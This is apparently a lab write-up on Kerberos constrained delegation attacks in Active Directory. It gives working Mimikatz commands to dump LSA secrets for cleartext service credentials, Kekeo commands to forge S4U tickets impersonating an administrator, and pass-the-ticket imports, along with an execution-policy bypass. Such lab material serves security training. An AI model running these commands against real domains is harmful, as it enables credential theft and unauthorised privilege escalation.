Skip to main content

Kerberos Delegation

Kerberos Delegation allows an Application to access Resources hosted on a different Server.

An example of this would be a Web Server that needs to access a SQL Database Hosted on the Database Server for the Web Application that it is Hosting.

Once a User logs into the Web Application, the Service Account will request access to the Database on behalf of that User. This means that the User would only be able to Access Data in the Database that they have the relevant Permission for without having to provide any Database Privileges or Permissions to the Service Account itself.


Constrained Delegation Exploitation​

Scenario

We are on the ADOBE-PC Machine with Tier 2 Admin Privileges. Our Goal is to Escalate our Privileges to Tier 1 Admin and Access the ADOBE-SERVER Machine.


PowerView can be used to Enumerate Available Delegations. We can see that the svcIIS Account can Delegate the HTTP and WSMAN Services on ADOBE-SERVER.

# Sets Execution Policies for Windows Computers
# [Bypass] Nothing is Blocked and there are no Warnings or Prompts
Set-ExecutionPolicy Bypass -Scope process -Force

# Import the Powershell Script
Import-Module .\PowerView.ps1


Mimikatz - Dumping LSASecrets​

Required Privileges: Administrators

With Administrative Access, we can dump LSASecrets, part of the Windows Registry Hive where Credentials are stored for features such as Windows Services.

:: To Dump the Secrets from the Registry Hive, we need to Impersonate the SYSTEM User
token::elevate

:: Mimikatz Interacts with the Registry Hive to pull the Clear Text Credentials
lsadump::secrets


Kekeo​

Now that we have Access to the Password associated with the svcIIS Account, we can perform a Kerberos Delegation Attack.

:: [User]     - The User who has the Constrained Delegation Permissions.
:: [Domain]   - The Domain that we are Attacking since Kekeo can be used to forge Tickets to abuse Cross-Forest Trust.
:: [Password] - The Password Associated with the svcIIS Account.
tgt::ask /user:svcIIS /domain:za.adobe.loc /password:Password1@


Now that we have the TGT for the Account that can perform Delegation, we can forge TGS Requests for the Account we want to Impersonate. We need to perform this for both HTTP and WSMAN to allow us to create a PSSession on ADOBE-SERVER.

:: [TGT]     - We provide the TGT that we Generated in the Previous Step.
:: [User]    - The User we want to Impersonate. Since t2_ accounts have Administrative Access over Workstations, it is a safe assumption that t1_ Accounts will have Administrative Access over Servers.
:: [Service] - The Services we want to Impersonate using Delegation. We first generate a TGS for the HTTP Service. Then we can rerun the same Command for the WSMAN Service.
tgs::s4u /tgt:TGT_svcIIS@ZA.adobe.LOC_krbtgt~za.adobe.loc@ZA.adobe.LOC.kirbi /user:t1_trevor.jones /service:http/ADOBE-SERVER.za.adobe.loc
tgs::s4u /tgt:TGT_svcIIS@ZA.adobe.LOC_krbtgt~za.adobe.loc@ZA.adobe.LOC.kirbi /user:t1_trevor.jones /service:wsman/ADOBE-SERVER.za.adobe.loc


Mimikatz - Importing TGS Tickets​

privilege::debug

:: Importing the Extracted Tickets
:: [HTTP]
kerberos::ptt TGS_t1_trevor.jones@ZA.adobe.LOC_http~ADOBE-SERVER.za.adobe.loc@ZA.adobe.LOC.kirbi

:: [WSMAN]
kerberos::ptt TGS_t1_trevor.jones@ZA.adobe.LOC_wsman~ADOBE-SERVER.za.adobe.loc@ZA.adobe.LOC.kirbi

Using The Ticket​

We can Verify that the Tickets were correctly Imported using the Windows Built-In Command.

:: Displays a list of currently Cached Kerberos Tickets
klist